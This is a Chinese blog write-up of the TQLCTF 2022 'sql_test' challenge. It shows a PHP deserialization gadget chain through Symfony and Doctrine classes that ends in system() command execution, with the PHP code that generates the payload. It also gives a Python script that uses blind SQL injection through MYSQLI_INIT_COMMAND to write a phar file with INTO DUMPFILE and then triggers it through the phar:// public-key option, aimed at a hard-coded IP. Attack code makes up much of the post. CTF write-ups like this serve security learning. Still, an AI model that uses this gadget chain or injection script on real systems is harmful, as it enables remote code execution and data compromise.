2022TQLctf

sql_test

看到这题有挖掘利用链的操作,学一下,感觉自己针对框架的链子挖掘还是很陌生

这是一个symphony的目录,所以先认识一下这个框架,了解项目之间的文件关系

config/:包含配置文件
src/:所有的php源代码
templates/:Twig模板文件
bin/:这里面主要是使用console文件,进行执行相关symfony命令
var/:主要是包含:缓存文件和日志文件
vendor/:第三方库文件
public/:web网站根目录,如果使用apache、nginx这样的web服务器,需要把根目录指向这个目录

首先是挖掘链子,挖掘利用链,肯定是先找合适的destruct,但是翻了一下,发现destruct很多都有wake_up方法,所以转换思路,从其他魔术方法入手,先看看call方法,发现了两个可以进行命令执行的点,很明显,下面那个利用起来会更方便一些

public function __call($method, $args)
{
if (preg_match('/(.*)(Debug|Info|Notice|Warning|Error|Critical|Alert|Emergency)(.*)/', $method, $matches) > 0) {
$genericMethod = $matches[1] . ('Records' !== $matches[3] ? 'Record' : '') . $matches[3];
$level = strtolower($matches[2]);
if (method_exists($this, $genericMethod)) {
$args[] = $level;
return call_user_func_array([$this, $genericMethod], $args);
}
}
throw new \BadMethodCallException('Call to undefined method ' . get_class($this) . '::' . $method . '()');
}

在这里,可以调用任意类的invoke()函数,所以我们去看看有没有适合的

namespace Symfony\Component\Cache\Traits;

public function __call(string $method, array $args)
{
$this->redis ?: $this->redis = $this->initializer->__invoke();

return $this->redis->{$method}(...$args);
}

可以发现,在这里存在一个动态调用

namespace Symfony\Component\Console\Helper;

    public function __invoke($var): string
{
return ($this->handler)($var);
}
}

接下来我们只需要寻找一下能传入两个参数,并且拥有$xxx->xxx()的类即可

可以看到这里的destruct执行的commit函数有我们需要的

public function __destruct()
{
$this->commit();
}

通过执行$item->getExpiry即可

public function commit(): bool
{
if (! $this->deferredItems) {
return true;
}

$now = microtime(true);
$itemsCount = 0;
$byLifetime = [];
$expiredKeys = [];

foreach ($this->deferredItems as $key => $item) {
$lifetime = ($item->getExpiry() ?? $now) - $now;

接下来我们组装一下

<?php
namespace Doctrine\Common\Cache\Psr6{
class CacheAdapter
{

private $deferredItems;

public function __construct()
{
$this->deferredItems =array(new \Symfony\Component\Cache\Traits\RedisProxy());
}

}
}
namespace Symfony\Component\Cache\Traits {
class RedisProxy
{
private $redis;
private $initializer;
private $ready = false;

public function __construct()
{
$this->redis = "id";
$this->initializer = new \Symfony\Component\Console\Helper\Dumper();
}
}
}

namespace Symfony\Component\Console\Helper {
class Dumper
{
private $handler;

public function __construct()
{
$this->handler = "system";
}
}
}

namespace {
$a = new Doctrine\Common\Cache\Psr6\CacheAdapter();
echo base64_encode(serialize($a));
}

然后在本地测试一下就可以跑通了,接下来寻找一下反序列化点,可以看到没有unserialize,那一般就是phar反序列化了,需要寻找一下反序列化点。

本地测试了一下,成功触发:
img

可以看到这里有个注入点,其中key和value可控,查询手册可知,key为选择操作的参数

MYSQLI_INIT_COMMAND - 成功建立 MySQL 连接之后要执行的 SQL 语句

通过使用这个操作,可以执行value的内容

public function index(Request $request): Response
{
$con = mysqli_init();
$key = $request->query->get('key');
$value = $request->query->get('value');

if (is_numeric($key) && is_string($value)) {
mysqli_options($con, $key, $value);
}

二分法盲注,我们前面知道,需要找到文件上传点,而这里有个注入点,所以先看看有没有写入权限

爆破出可写入目录

/tmp/ce4d60d5da0336986edff5e01d97cC3e/

所以执行sql语句进行写入,wp中写到mysqli_server_public_key这个选项设计到文件操作,是指定服务端公钥的路径。

因为caching_sha2_password认证方式下服务器端会使用缓存,如果不指定公钥连接就是向服务器请求key,所以一旦请求一次成功连接会保留着缓存,导致不会去加载我们指定的公钥。在这里可以通过执行FLUSH PRIVILEGES的命令或者修改用户密码,导致连接失败,同样会触发加载公钥的操作

完整的payload如下:

但是本地起了docker以后跑失败了。。。可能是环境原因吧,毕竟用了出题人的exp跑了也不行,但是我觉得还是应该尝试一下这个mysql的

import requests
import time
import random
import string
import os
import binascii
s=requests.session()
url="http://110.42.133.120:7001"

def req(key, value):
resp = requests.get(url + "/index.php/test", params={'key': key, 'value': value})
return resp

def get_secure_file_path():
file_path = ""
for i in range(1,10000):
low =0
high=264
mid=(low+high)//2
while(low<high):
payload = f"select if (ascii(substr((select @@global.secure_file_priv),{i},1))>{mid},sleep(5),1);"
#print(payload)
fi_time=time.time()
s.get(url+payload)
if time.time()-fi_time>4:
low = mid+1
else:
high=mid
mid=(low+high)//2
if(mid==0 or mid==264):
break
file_path +=chr(mid)
return file_path

def exp(file_path):
filename="".join(random.sample(string.ascii_letters,6))+'.phar'
file=os.path.join(file_path,filename)

hex_data=str(binascii.b2a_hex(open('test.phar','rb').read())).replace("b'","").replace("'","")
print(hex_data)
command=f"select 0x{hex_data} into dumpfile '{file}'"
print(command)
req('3',command)

command=f"select if((ISNULL(load_file('{file}'))),sleep(2),1);"
if req('3', command).elapsed.seconds > 1.5:
print("file write fail!")
exit()

req('3',"FLUSH PRIVILEGES;")
time.sleep(5)
print(file)
resp = req('35', 'phar://' + file)
print(resp.text)

if __name__=='__main__':
#file_path=get_secure_file_path()
file_path="/tmp/ce4d60d5da0336986edff5e01d97c73e/"
print(file_path)
exp(file_path)

echo加上要用的功能点名称就能输出value了

还有一点需要注意的是,python输出的时候会自带一个b’符号要将他置换为空,不然影响写入结果

Author

vague huang

Posted on

2022-02-26

Updated on

2022-03-16

Licensed under

Comments